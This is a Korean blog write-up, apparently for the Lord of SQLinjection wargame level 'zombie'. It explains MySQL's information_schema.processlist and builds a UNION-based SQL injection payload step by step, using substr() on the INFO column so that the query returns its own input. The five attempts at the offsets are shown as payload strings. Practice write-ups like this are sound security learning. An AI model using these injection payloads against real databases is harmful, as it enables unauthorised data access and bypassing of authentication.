이전 문제랑 해결법은 비슷하다. 입력값과 결과값이 동일해야 한다는 점인데...
이번에는 'ace' 라는 문구를 필터링하고 있기에 replace()함수를 쓸 수 없다..
그래서 결국 구글의 힘을 빌려서 살짝 힌트를 얻었다.
바로 information_schema.processlist 를 이용하는 것
show processlist;
mysql 테스트 페이지에서 processlist에 대해서 알아봤다.
일단, INFORMATION_SCHEMA 에 대한 이해가 필요해 보인다. (이참에 공부..)
INFORMATION_SCHEMA 란
mysql 서버 내 존재하는 DB의 메타 정보들(DB내 테이블 정보, 컬럼 정보, 인덱스 등)을 저장하고 있는 DB이다.
INFORMATION_SCHEMA는 read_only이다
INFORMATION_SCHEMA에 대한 테이블 및 컬럼 정보는 다음 링크에서 참고 가능하다.
https://tempuss.tistory.com/entry/DataBaseinformationschema
DataBase(information_schema)
DataBase는 다양한 정보의 집합이다.하지만 방대한 양의 데이터를 하나하나 처리하기 위해선 시간이 오래걸리므로 미리 데이터에 대한 정보를 정리해 놓는다.이것을 메타데이터라고 하는데 informa
tempuss.tistory.com
테이블 중 processlist 라는 테이블은 현재 실행중인 프로세스에 대한 정보를 주는 것 같다.
select * from information_schema.processlist;
SQLtest 사이트에서 테스트해본 결과 현재 프로세스에 대한 정보들을 확인할 수 있는데 INFO 컬럼에는 실제 SQL 쿼리문이 그대로 들어가 있음을 알 수 있다.
이 점을 이용하여, pw에 들어가는 입력값 = info 컬럼 값 동일하도록 불러오면 문제를 풀 수 있을 것 같다.
select info from information_schema.processlist;
info컬럼을 조회하면 실제 쿼리문과 동일하게 불러온다. 그러면 이것을 문제에 적용해보자.
payload : pw = ' ' union select 1 # '
저번 문제와 동일하게 union select 문을 써서 입력값 = 결과값 동일하게 만들어야 한다.
지금으로써는
입력값 : ' union select 1 #
결과값 : 1
앞에 ' union select 는 사라진다..
sql test 사이트에서 union select 문에서도 processlist가 먹히는지 확인했다. 매우 결과 잘나옴
select 1 union select info from information_schema.processlist;
위에서 만든 쿼리를 입력해봤더니 뒤에 내가 입력한 값 ' union select info from ~ 부분만 찍혀야 되는데 전체 쿼리문이 모두 찍혔다..
뭔가 잘못되었다.
분명 내가 입력한 값 : ' union select info from information_schema.processlist #
이게 들어가야 되는데 앞에 select pw from ~ 쭉 모든 쿼리가 반환되고 있다. processlist 는 전체 쿼리문을 모두 반환하기 때문에 여기서 내가 필요한 부분만 뽑아내야겠다. 내가 입력한 값과 동일하게 빼내야 한다.
위 문제에서 현재 info 컬럼의 값은
select pw from prob_zombie where pw='' union select info from information_schema.processlist #'
이니..
여기서 ' union select ~ 만 뽑으려면 substr() 함수를 이용하여 시작점에서 부터 특정 글자수 만큼 자를 수 있다.
select 1 union select substr(info,1,10) from information_schema.processlist;
먼저 sql 테스트 사이트에서 구문을 테스트해본 결과 (1)첫번째서부터 (10) 10개 까지 자르는 것을 확인할 수 있다.
입력 쿼리 : select 1 union select substr(info,1,10) from information_schema.processlist;
결과 쿼리 : select 1 u # 띄어쓰기포함 10자리
우리는 ' union select ~ 부터 필요하므로...
이 상태의 쿼리(노란색 칠한 부분)에서 ' union select 부터 끝까지 자르면 된다.
1차 시도
전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,10,20) from information_schema.processlist # '
에서 info(10,20) 10번째글자부터 시작해서 20글자를 세서 자르면 from prob_zombie wh 까지 보인다.
2차 시도
전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,30,20) from information_schema.processlist # '
에서 30번째 글자부터 시작해서 20글자를 세면 거의 근접하게 왔다.
※ 일단 내가 입력하는 입력값의 길이는
' union select substr(info,??,??) from information_schema.processlist # 총 70글자이다.
substring함수의 두번째 인자는 70을 고정으로 하고 첫 시작 offset만 찾아도 시간단축이 될 것이다...
3차 시도
전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,40,70) from information_schema.processlist # '
40번째를 시작점으로 했는데 다 들어오는 것 같아보이지만 마지막에 싱글쿼터 (') 도 포함되어 있고 맨 앞 싱글쿼터 (') 도 없다..
4차 시도
얼추 맞는 거 같은데 잘 보면 맨 마지막에 %23(#)이 빠져있었다
5차 시도
substr 두번째 인자인 문자열 길이를 한 글자 늘려줬더니 잘 풀렸다..
replace()보다 쉬운 듯..
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step33. cthulhu풀이 (0) | 2023.08.31 |
---|---|
[LOS] step32. alien풀이 (0) | 2023.08.30 |
[LOS] step30. ouroboros 풀이 (0) | 2023.07.05 |
[LOS] step28. FRANKENSTEIN 풀이 (0) | 2023.07.03 |
[LOS] step27. blue_dragon 풀이 (0) | 2023.06.22 |